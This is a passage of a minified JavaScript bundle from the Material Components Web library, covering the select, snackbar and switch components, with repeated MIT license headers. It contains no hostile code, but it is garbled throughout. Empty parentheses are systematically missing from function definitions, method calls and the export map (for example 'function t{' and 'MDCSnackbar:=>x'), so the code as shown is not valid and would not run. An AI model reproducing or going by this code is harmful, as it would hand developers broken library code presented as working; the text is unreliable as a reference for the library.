ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var w=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,i.__extends)(t,e),t.attachTo=function(e){return new t(e)},Object.defineProperty(t.prototype,"foundationForSelect",{get:function{return this.foundation},enumerable:!1,configurable:!0}),t.prototype.getDefaultFoundation=function{var e=this;return new T({getAttr:function(t){return e.root.getAttribute(t)},setAttr:function(t,n){return e.root.setAttribute(t,n)},removeAttr:function(t){return e.root.removeAttribute(t)},setContent:function(t){e.root.textContent=t},registerInteractionHandler:function(t,n){return e.listen(t,n)},deregisterInteractionHandler:function(t,n){return e.unlisten(t,n)},notifyIconAction:function{return e.emit(T.strings.ICON_EVENT,{},!0)}})},t}(r.B),S=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,i.__extends)(t,e),t.attachTo=function(e){return new t(e)},t.prototype.initialize=function(e,t,n,i,r,s){if(void 0===e&&(e=function(e){return new o.g(e)}),void 0===t&&(t=function(e){return new a.k(e)}),void 0===n&&(n=function(e){return new d.A(e)}),void 0===i&&(i=function(e){return new l.g(e)}),void 0===r&&(r=function(e){return new w(e)}),void 0===s&&(s=function(e){return new I(e)}),this.selectAnchor=this.root.querySelector(f.SELECT_ANCHOR_SELECTOR),this.selectedText=this.root.querySelector(f.SELECTED_TEXT_SELECTOR),this.hiddenInput=this.root.querySelector(f.HIDDEN_INPUT_SELECTOR),!this.selectedText)throw new Error("MDCSelect: Missing required element: The following selector must be present: '"+f.SELECTED_TEXT_SELECTOR+"'");if(this.selectAnchor.hasAttribute(f.ARIA_CONTROLS)){var c=document.getElementById(this.selectAnchor.getAttribute(f.ARIA_CONTROLS));c&&(this.helperText=s(c))}this.menuSetup(i);var u=this.root.querySelector(f.LABEL_SELECTOR);this.label=u?e(u):null;var p=this.root.querySelector(f.LINE_RIPPLE_SELECTOR);this.lineRipple=p?t(p):null;var g=this.root.querySelector(f.OUTLINE_SELECTOR);this.outline=g?n(g):null;var m=this.root.querySelector(f.LEADING_ICON_SELECTOR);m&&(this.leadingIcon=r(m)),this.root.classList.contains(h.OUTLINED)||(this.ripple=this.createRipple)},t.prototype.initialSyncWithDOM=function{var e=this;if(this.handleFocus=function{e.foundation.handleFocus},this.handleBlur=function{e.foundation.handleBlur},this.handleClick=function(t){e.selectAnchor.focus,e.foundation.handleClick(e.getNormalizedXCoordinate(t))},this.handleKeydown=function(t){e.foundation.handleKeydown(t)},this.handleMenuItemAction=function(t){e.foundation.handleMenuItemAction(t.detail.index)},this.handleMenuOpened=function{e.foundation.handleMenuOpened},this.handleMenuClosed=function{e.foundation.handleMenuClosed},this.handleMenuClosing=function{e.foundation.handleMenuClosing},this.selectAnchor.addEventListener("focus",this.handleFocus),this.selectAnchor.addEventListener("blur",this.handleBlur),this.selectAnchor.addEventListener("click",this.handleClick),this.selectAnchor.addEventListener("keydown",this.handleKeydown),this.menu.listen(s.j2.CLOSED_EVENT,this.handleMenuClosed),this.menu.listen(s.j2.CLOSING_EVENT,this.handleMenuClosing),this.menu.listen(s.j2.OPENED_EVENT,this.handleMenuOpened),this.menu.listen(c.j2.SELECTED_EVENT,this.handleMenuItemAction),this.hiddenInput){if(this.hiddenInput.value)return this.foundation.setValue(this.hiddenInput.value,!0),void this.foundation.layout;this.hiddenInput.value=this.value}},t.prototype.destroy=function{this.selectAnchor.removeEventListener("focus",this.handleFocus),this.selectAnchor.removeEventListener("blur",this.handleBlur),this.selectAnchor.removeEventListener("keydown",this.handleKeydown),this.selectAnchor.removeEventListener("click",this.handleClick),this.menu.unlisten(s.j2.CLOSED_EVENT,this.handleMenuClosed),this.menu.unlisten(s.j2.OPENED_EVENT,this.handleMenuOpened),this.menu.unlisten(c.j2.SELECTED_EVENT,this.handleMenuItemAction),this.menu.destroy,this.ripple&&this.ripple.destroy,this.outline&&this.outline.destroy,this.leadingIcon&&this.leadingIcon.destroy,this.helperText&&this.helperText.destroy,e.prototype.destroy.call(this)},Object.defineProperty(t.prototype,"value",{get:function{return this.foundation.getValue},set:function(e){this.foundation.setValue(e)},enumerable:!1,configurable:!0}),t.prototype.setValue=function(e,t){void 0===t&&(t=!1),this.foundation.setValue(e,t)},Object.defineProperty(t.prototype,"selectedIndex",{get:function{return this.foundation.getSelectedIndex},set:function(e){this.foundation.setSelectedIndex(e,!0)},enumerable:!1,configurable:!0}),t.prototype.setSelectedIndex=function(e,t){void 0===t&&(t=!1),this.foundation.setSelectedIndex(e,!0,t)},Object.defineProperty(t.prototype,"disabled",{get:function{return this.foundation.getDisabled},set:function(e){this.foundation.setDisabled(e),this.hiddenInput&&(this.hiddenInput.disabled=e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"leadingIconAriaLabel",{set:function(e){this.foundation.setLeadingIconAriaLabel(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"leadingIconContent",{set:function(e){this.foundation.setLeadingIconContent(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"helperTextContent",{set:function(e){this.foundation.setHelperTextContent(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"useDefaultValidation",{set:function(e){this.foundation.setUseDefaultValidation(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"valid",{get:function{return this.foundation.isValid},set:function(e){this.foundation.setValid(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"required",{get:function{return this.foundation.getRequired},set:function(e){this.foundation.setRequired(e)},enumerable:!1,configurable:!0}),t.prototype.layout=function{this.foundation.layout},t.prototype.layoutOptions=function{this.foundation.layoutOptions,this.menu.layout,this.menuItemValues=this.menu.items.map((function(e){return e.getAttribute(f.VALUE_ATTR)||""})),this.hiddenInput&&(this.hiddenInput.value=this.value)},t.prototype.getDefaultFoundation=function{var e=(0,i.__assign)((0,i.__assign)((0,i.__assign)((0,i.__assign)({},this.getSelectAdapterMethods),this.getCommonAdapterMethods),this.getOutlineAdapterMethods),this.getLabelAdapterMethods);return new A(e,this.getFoundationMap)},t.prototype.menuSetup=function(e){this.menuElement=this.root.querySelector(f.MENU_SELECTOR),this.menu=e(this.menuElement),this.menu.hasTypeahead=!0,this.menu.singleSelection=!0,this.menuItemValues=this.menu.items.map((function(e){return e.getAttribute(f.VALUE_ATTR)||""}))},t.prototype.createRipple=function{var e=this,t=(0,i.__assign)((0,i.__assign)({},u.F.createAdapter({root:this.selectAnchor})),{registerInteractionHandler:function(t,n){e.selectAnchor.addEventListener(t,n)},deregisterInteractionHandler:function(t,n){e.selectAnchor.removeEventListener(t,n)}});return new u.F(this.selectAnchor,new p.l(t))},t.prototype.getSelectAdapterMethods=function{var e=this;return{getMenuItemAttr:function(e,t){return e.getAttribute(t)},setSelectedText:function(t){e.selectedText.textContent=t},isSelectAnchorFocused:function{return document.activeElement===e.selectAnchor},getSelectAnchorAttr:function(t){return e.selectAnchor.getAttribute(t)},setSelectAnchorAttr:function(t,n){e.selectAnchor.setAttribute(t,n)},removeSelectAnchorAttr:function(t){e.selectAnchor.removeAttribute(t)},addMenuClass:function(t){e.menuElement.classList.add(t)},removeMenuClass:function(t){e.menuElement.classList.remove(t)},openMenu:function{e.menu.open=!0},closeMenu:function{e.menu.open=!1},getAnchorElement:function{return e.root.querySelector(f.SELECT_ANCHOR_SELECTOR)},setMenuAnchorElement:function(t){e.menu.setAnchorElement(t)},setMenuAnchorCorner:function(t){e.menu.setAnchorCorner(t)},setMenuWrapFocus:function(t){e.menu.wrapFocus=t},getSelectedIndex:function{var t=e.menu.selectedIndex;return t instanceof Array?t[0]:t},setSelectedIndex:function(t){e.menu.selectedIndex=t},focusMenuItemAtIndex:function(t){e.menu.items[t].focus},getMenuItemCount:function{return e.menu.items.length},getMenuItemValues:function{return e.menuItemValues},getMenuItemTextAtIndex:function(t){return e.menu.getPrimaryTextAtIndex(t)},isTypeaheadInProgress:function{return e.menu.typeaheadInProgress},typeaheadMatchItem:function(t,n){return e.menu.typeaheadMatchItem(t,n)}}},t.prototype.getCommonAdapterMethods=function{var e=this;return{addClass:function(t){e.root.classList.add(t)},removeClass:function(t){e.root.classList.remove(t)},hasClass:function(t){return e.root.classList.contains(t)},setRippleCenter:function(t){e.lineRipple&&e.lineRipple.setRippleCenter(t)},activateBottomLine:function{e.lineRipple&&e.lineRipple.activate},deactivateBottomLine:function{e.lineRipple&&e.lineRipple.deactivate},notifyChange:function(t){e.hiddenInput&&(e.hiddenInput.value=t);var n=e.selectedIndex;e.emit(f.CHANGE_EVENT,{value:t,index:n},!0)}}},t.prototype.getOutlineAdapterMethods=function{var e=this;return{hasOutline:function{return Boolean(e.outline)},notchOutline:function(t){e.outline&&e.outline.notch(t)},closeOutline:function{e.outline&&e.outline.closeNotch}}},t.prototype.getLabelAdapterMethods=function{var e=this;return{hasLabel:function{return!!e.label},floatLabel:function(t){e.label&&e.label.float(t)},getLabelWidth:function{return e.label?e.label.getWidth:0},setLabelRequired:function(t){e.label&&e.label.setRequired(t)}}},t.prototype.getNormalizedXCoordinate=function(e){var t=e.target.getBoundingClientRect;return(this.isTouchEvent(e)?e.touches[0].clientX:e.clientX)-t.left},t.prototype.isTouchEvent=function(e){return Boolean(e.touches)},t.prototype.getFoundationMap=function{return{helperText:this.helperText?this.helperText.foundationForSelect:void 0,leadingIcon:this.leadingIcon?this.leadingIcon.foundationForSelect:void 0}},t}(r.B)},351:(e,t,n)=>{"use strict";n.r(t),n.d(t,{MDCSnackbar:=>x,MDCSnackbarFoundation:=>y,cssClasses:=>r,numbers:=>a,strings:=>o,util:=>i});var i={};n.r(i),n.d(i,{announce:=>c}); /** * @license * Copyright 2018 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var r={CLOSING:"mdc-snackbar--closing",OPEN:"mdc-snackbar--open",OPENING:"mdc-snackbar--opening"},o={ACTION_SELECTOR:".mdc-snackbar__action",ARIA_LIVE_LABEL_TEXT_ATTR:"data-mdc-snackbar-label-text",CLOSED_EVENT:"MDCSnackbar:closed",CLOSING_EVENT:"MDCSnackbar:closing",DISMISS_SELECTOR:".mdc-snackbar__dismiss",LABEL_SELECTOR:".mdc-snackbar__label",OPENED_EVENT:"MDCSnackbar:opened",OPENING_EVENT:"MDCSnackbar:opening",REASON_ACTION:"action",REASON_DISMISS:"dismiss",SURFACE_SELECTOR:".mdc-snackbar__surface"},a={DEFAULT_AUTO_DISMISS_TIMEOUT_MS:5e3,INDETERMINATE:-1,MAX_AUTO_DISMISS_TIMEOUT_MS:1e4,MIN_AUTO_DISMISS_TIMEOUT_MS:4e3,SNACKBAR_ANIMATION_CLOSE_TIME_MS:75,SNACKBAR_ANIMATION_OPEN_TIME_MS:150,ARIA_LIVE_DELAY_MS:1e3},s=a.ARIA_LIVE_DELAY_MS,l=o.ARIA_LIVE_LABEL_TEXT_ATTR;function c(e,t){void 0===t&&(t=e);var n=e.getAttribute("aria-live"),i=t.textContent.trim;i&&n&&(e.setAttribute("aria-live","off"),t.textContent="",t.innerHTML=' ',t.setAttribute(l,i),setTimeout((function{e.setAttribute("aria-live",n),t.removeAttribute(l),t.textContent=i}),s))}var d=n(655),u=n(5179),p=n(2851),h=n(6308),f=r.OPENING,g=r.OPEN,m=r.CLOSING,v=o.REASON_ACTION,A=o.REASON_DISMISS,y=function(e){function t(n){var i=e.call(this,(0,d.__assign)((0,d.__assign)({},t.defaultAdapter),n))||this;return i.opened=!1,i.animationFrame=0,i.animationTimer=0,i.autoDismissTimer=0,i.autoDismissTimeoutMs=a.DEFAULT_AUTO_DISMISS_TIMEOUT_MS,i.closeOnEscape=!0,i}return(0,d.__extends)(t,e),Object.defineProperty(t,"cssClasses",{get:function{return r},enumerable:!1,configurable:!0}),Object.defineProperty(t,"strings",{get:function{return o},enumerable:!1,configurable:!0}),Object.defineProperty(t,"numbers",{get:function{return a},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function{return{addClass:function{},announce:function{},notifyClosed:function{},notifyClosing:function{},notifyOpened:function{},notifyOpening:function{},removeClass:function{}}},enumerable:!1,configurable:!0}),t.prototype.destroy=function{this.clearAutoDismissTimer,cancelAnimationFrame(this.animationFrame),this.animationFrame=0,clearTimeout(this.animationTimer),this.animationTimer=0,this.adapter.removeClass(f),this.adapter.removeClass(g),this.adapter.removeClass(m)},t.prototype.open=function{var e=this;this.clearAutoDismissTimer,this.opened=!0,this.adapter.notifyOpening,this.adapter.removeClass(m),this.adapter.addClass(f),this.adapter.announce,this.runNextAnimationFrame((function{e.adapter.addClass(g),e.animationTimer=setTimeout((function{var t=e.getTimeoutMs;e.handleAnimationTimerEnd,e.adapter.notifyOpened,t!==a.INDETERMINATE&&(e.autoDismissTimer=setTimeout((function{e.close(A)}),t))}),a.SNACKBAR_ANIMATION_OPEN_TIME_MS)}))},t.prototype.close=function(e){var t=this;void 0===e&&(e=""),this.opened&&(cancelAnimationFrame(this.animationFrame),this.animationFrame=0,this.clearAutoDismissTimer,this.opened=!1,this.adapter.notifyClosing(e),this.adapter.addClass(r.CLOSING),this.adapter.removeClass(r.OPEN),this.adapter.removeClass(r.OPENING),clearTimeout(this.animationTimer),this.animationTimer=setTimeout((function{t.handleAnimationTimerEnd,t.adapter.notifyClosed(e)}),a.SNACKBAR_ANIMATION_CLOSE_TIME_MS))},t.prototype.isOpen=function{return this.opened},t.prototype.getTimeoutMs=function{return this.autoDismissTimeoutMs},t.prototype.setTimeoutMs=function(e){var t=a.MIN_AUTO_DISMISS_TIMEOUT_MS,n=a.MAX_AUTO_DISMISS_TIMEOUT_MS,i=a.INDETERMINATE;if(!(e===a.INDETERMINATE||e<=n&&e>=t))throw new Error("\n       timeoutMs must be an integer in the range "+t+"–"+n+"\n        (or "+i+" to disable), but got '"+e+"'");this.autoDismissTimeoutMs=e},t.prototype.getCloseOnEscape=function{return this.closeOnEscape},t.prototype.setCloseOnEscape=function(e){this.closeOnEscape=e},t.prototype.handleKeyDown=function(e){("Escape"===e.key||27===e.keyCode)&&this.getCloseOnEscape&&this.close(A)},t.prototype.handleActionButtonClick=function(e){this.close(v)},t.prototype.handleActionIconClick=function(e){this.close(A)},t.prototype.clearAutoDismissTimer=function{clearTimeout(this.autoDismissTimer),this.autoDismissTimer=0},t.prototype.handleAnimationTimerEnd=function{this.animationTimer=0,this.adapter.removeClass(r.OPENING),this.adapter.removeClass(r.CLOSING)},t.prototype.runNextAnimationFrame=function(e){var t=this;cancelAnimationFrame(this.animationFrame),this.animationFrame=requestAnimationFrame((function{t.animationFrame=0,clearTimeout(t.animationTimer),t.animationTimer=setTimeout(e,0)}))},t}(h.K); /** * @license * Copyright 2018 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var _=o.SURFACE_SELECTOR,b=o.LABEL_SELECTOR,I=o.ACTION_SELECTOR,C=o.DISMISS_SELECTOR,E=o.OPENING_EVENT,T=o.OPENED_EVENT,w=o.CLOSING_EVENT,S=o.CLOSED_EVENT,x=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,d.__extends)(t,e),t.attachTo=function(e){return new t(e)},t.prototype.initialize=function(e){void 0===e&&(e=function{return c}),this.announce=e},t.prototype.initialSyncWithDOM=function{var e=this;this.surfaceEl=this.root.querySelector(_),this.labelEl=this.root.querySelector(b),this.actionEl=this.root.querySelector(I),this.handleKeyDown=function(t){e.foundation.handleKeyDown(t)},this.handleSurfaceClick=function(t){var n=t.target;e.isActionButton(n)?e.foundation.handleActionButtonClick(t):e.isActionIcon(n)&&e.foundation.handleActionIconClick(t)},this.registerKeyDownHandler(this.handleKeyDown),this.registerSurfaceClickHandler(this.handleSurfaceClick)},t.prototype.destroy=function{e.prototype.destroy.call(this),this.deregisterKeyDownHandler(this.handleKeyDown),this.deregisterSurfaceClickHandler(this.handleSurfaceClick)},t.prototype.open=function{this.foundation.open},t.prototype.close=function(e){void 0===e&&(e=""),this.foundation.close(e)},t.prototype.getDefaultFoundation=function{var e=this;return new y({addClass:function(t){e.root.classList.add(t)},announce:function{e.announce(e.labelEl)},notifyClosed:function(t){return e.emit(S,t?{reason:t}:{})},notifyClosing:function(t){return e.emit(w,t?{reason:t}:{})},notifyOpened:function{return e.emit(T,{})},notifyOpening:function{return e.emit(E,{})},removeClass:function(t){return e.root.classList.remove(t)}})},Object.defineProperty(t.prototype,"timeoutMs",{get:function{return this.foundation.getTimeoutMs},set:function(e){this.foundation.setTimeoutMs(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"closeOnEscape",{get:function{return this.foundation.getCloseOnEscape},set:function(e){this.foundation.setCloseOnEscape(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"isOpen",{get:function{return this.foundation.isOpen},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"labelText",{get:function{return this.labelEl.textContent},set:function(e){this.labelEl.textContent=e},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"actionButtonText",{get:function{return this.actionEl.textContent},set:function(e){this.actionEl.textContent=e},enumerable:!1,configurable:!0}),t.prototype.registerKeyDownHandler=function(e){this.listen("keydown",e)},t.prototype.deregisterKeyDownHandler=function(e){this.unlisten("keydown",e)},t.prototype.registerSurfaceClickHandler=function(e){this.surfaceEl.addEventListener("click",e)},t.prototype.deregisterSurfaceClickHandler=function(e){this.surfaceEl.removeEventListener("click",e)},t.prototype.isActionButton=function(e){return Boolean((0,p.oq)(e,I))},t.prototype.isActionIcon=function(e){return Boolean((0,p.oq)(e,C))},t}(u.B)} /** * @license * Copyright 2019 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */,2480:(e,t,n)=>{"use strict";n.r(t),n.d(t,{CssClasses:=>f,MDCSwitch:=>I,MDCSwitchFoundation:=>_,MDCSwitchRenderFoundation:=>b,Selectors:=>g,deprecated:=>i});var i={};n.r(i),n.d(i,{MDCSwitch:=>m,MDCSwitchFoundation:=>h,cssClasses:=>u,strings:=>p});var r=n(655),o=n(5179),a=n(9397),s=n(2851),l=n(1661),c=n(514),d=n(6308),u={CHECKED:"mdc-switch--checked",DISABLED:"mdc-switch--disabled"},p={ARIA_CHECKED_ATTR:"aria-checked",NATIVE_CONTROL_SELECTOR:".mdc-switch__native-control",RIPPLE_SURFACE_SELECTOR:".mdc-switch__thumb-underlay"},h=function(e){function t(n){return e.call(this,(0,r.__assign)((0,r.__assign)({},t.defaultAdapter),n))||this}return(0,r.__extends)(t,e),Object.defineProperty(t,"strings",{get:function{return p},enumerable:!1,configurable:!0}),Object.defineProperty(t,"cssClasses",{get:function{return u},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function{return{addClass:function{},removeClass:function{},setNativeControlChecked:function{},setNativeControlDisabled:function{},setNativeControlAttr:function{}}},enumerable:!1,configurable:!0}),t.prototype.setChecked=function(e){this.adapter.setNativeControlChecked(e),this.updateAriaChecked(e),this.updateCheckedStyling(e)},t.prototype.setDisabled=function(e){this.adapter.setNativeControlDisabled(e),e?this.adapter.addClass(u.DISABLED):this.adapter.removeClass(u.DISABLED)},t.prototype.handleChange=function(e){var t=e.target;this.updateAriaChecked(t.checked),this.updateCheckedStyling(t.checked)},t.prototype.updateCheckedStyling=function(e){e?this.adapter.addClass(u.CHECKED):this.adapter.removeClass(u.CHECKED)},t.prototype.updateAriaChecked=function(e){this.adapter.setNativeControlAttr(p.ARIA_CHECKED_ATTR,""+!!e)},t}(d.K); /** * @license * Copyright 2018 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var f,g,m=function(e){function t{var t=null!==e&&e.apply(this,arguments)||this;return t.rippleSurface=t.createRipple,t}return(0,r.__extends)(t,e),t.attachTo=function(e){return new t(e)},t.prototype.destroy=function{e.prototype.destroy.call(this),this.rippleSurface.destroy,this.nativeControl.removeEventListener("change",this.changeHandler)},t.prototype.initialSyncWithDOM=function{var e=this;this.changeHandler=function{for(var t,n=[],i=0;i<arguments.length;i++)n[i]=arguments[i];(t=e.foundation).handleChange.apply(t,(0,r.__spreadArray)([],(0,r.__read)(n)))},this.nativeControl.addEventListener("change",this.changeHandler),this.checked=this.checked},t.prototype.getDefaultFoundation=function{var e=this;return new h({addClass:function(t){return e.root.classList.add(t)},removeClass:function(t){return e.root.classList.remove(t)},setNativeControlChecked:function(t){return e.nativeControl.checked=t},setNativeControlDisabled:function(t){return e.nativeControl.disabled=t},setNativeControlAttr:function(t,n){e.nativeControl.setAttribute(t,n)}})},Object.defineProperty(t.prototype,"ripple",{get:function{return this.rippleSurface},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"checked",{get:function{return this.nativeControl.checked},set:function(e){this.foundation.setChecked(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"disabled",{get:function{return this.nativeControl.disabled},set:function(e){this.foundation.setDisabled(e)},enumerable:!1,configurable:!0}),t.prototype.createRipple=function{var e=this,t=h.strings.RIPPLE_SURFACE_SELECTOR,n=this.root.querySelector(t),i=(0,r.__assign)((0,r.__assign)({},l.F.createAdapter(this)),{addClass:function(e){return n.classList.add(e)},computeBoundingRect:function{return n.getBoundingClientRect},deregisterInteractionHandler:function(t,n){e.nativeControl.removeEventListener(t,n,(0,a.K))},isSurfaceActive:function{return(0,s.wB)(e.nativeControl,":active")},isUnbounded:function{return!0},registerInteractionHandler:function(t,n){e.nativeControl.addEventListener(t,n,(0,a.K))},removeClass:function(e){n.classList.remove(e)},updateCssVariable:function(e,t){n.style.setProperty(e,t)}});return new l.F(this.root,new c.l(i))},Object.defineProperty(t.prototype,"nativeControl",{get:function{var e=h.strings.NATIVE_CONTROL_SELECTOR;return this.root.querySelector(e)},enumerable:!1,configurable:!0}),t}(o.B);function v(e,t,n){var i=function(e,t){var n=new Map;A.has(e)||A.set(e,{isEnabled:!0,getObservers:function(e){var t=n.get(e)||[];return n.has(e)||n.set(e,t),t},installedProperties:new Set});var i=A.get(e);if(i.installedProperties.has(t))return i;var o=function(e,t){var n,i=e;for(i&&!(n=Object.getOwnPropertyDescriptor(i,t));)i=Object.getPrototypeOf(i);return n}(e,t)||{configurable:!0,enumerable:!0,value:e[t],writable:!0},a=(0,r.__assign)({},o),s=o.get,l=o.set;if("value"in o){delete a.value,delete a.writable;var c=o.value;s=function{return c},o.writable&&(l=function(e){c=e})}s&&(a.get=function{return s.call(this)});l&&(a.set=function(e){var n,o,a=s?s.call(this):e;if(l.call(this,e),i.isEnabled&&(!s||e!==a))try{for(var c=(0,r.__values)(i.getObservers(t)),d=c.next;!d.done;d=c.next){(0,d.value)(e,a)}}catch(e){n={error:e}}finally{try{d&&!d.done&&(o=c.return)&&o.call(c)}finally{if(n)throw n.error}}});return i.installedProperties.add(t),Object.defineProperty(e,t,a),i}(e,t),o=i.getObservers(t);return o.push(n),function{o.splice(o.indexOf(n),1)}}!function(e){e.PROCESSING="mdc-switch--processing",e.SELECTED="mdc-switch--selected",e.UNSELECTED="mdc-switch--unselected"}(f||(f={})),function(e){e.RIPPLE=".mdc-switch__ripple"}(g||(g={}));var A=new WeakMap;function y(e,t){var n=A.get(e);n&&(n.isEnabled=t)} /** * @license * Copyright 2021 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var _=function(e){function t(t){var n=e.call(this,t)||this;return n.handleClick=n.handleClick.bind(n),n}return(0,r.__extends)(t,e),t.prototype.init=function{this.observe(this.adapter.state,{disabled:this.stopProcessingIfDisabled,processing:this.stopProcessingIfDisabled})},t.prototype.handleClick=function{this.adapter.state.disabled||(this.adapter.state.selected=!this.adapter.state.selected)},t.prototype.stopProcessingIfDisabled=function{this.adapter.state.disabled&&(this.adapter.state.processing=!1)},t}(function(e){function t(t){var n=e.call(this,t)||this;return n.unobserves=new Set,n}return(0,r.__extends)(t,e),t.prototype.destroy=function{e.prototype.destroy.call(this),this.unobserve},t.prototype.observe=function(e,t){var n,i,o=this,a=[];try{for(var s=(0,r.__values)(Object.keys(t)),l=s.next;!l.done;l=s.next){var c=l.value,d=t[c].bind(this);a.push(this.observeProperty(e,c,d))}}catch(e){n={error:e}}finally{try{l&&!l.done&&(i=s.return)&&i.call(s)}finally{if(n)throw n.error}}var u=function{var e,t;try{for(var n=(0,r.__values)(a),i=n.next;!i.done;i=n.next){(0,i.value)}}catch(t){e={error:t}}finally{try{i&&!i.done&&(t=n.return)&&t.call(n)}finally{if(e)throw e.error}}o.unobserves.delete(u)};return this.unobserves.add(u),u},t.prototype.observeProperty=function(e,t,n){return v(e,t,n)},t.prototype.setObserversEnabled=function(e,t){y(e,t)},t.prototype.unobserve=function{var e,t;try{for(var n=(0,r.__values)((0,r.__spreadArray)([],(0,r.__read)(this.unobserves))),i=n.next;!i.done;i=n.next){(0,i.value)}}catch(t){e={error:t}}finally{try{i&&!i.done&&(t=n.return)&&t.call(n)}finally{if(e)throw e.error}}},t}(d.K)),b=function(e){function t{return 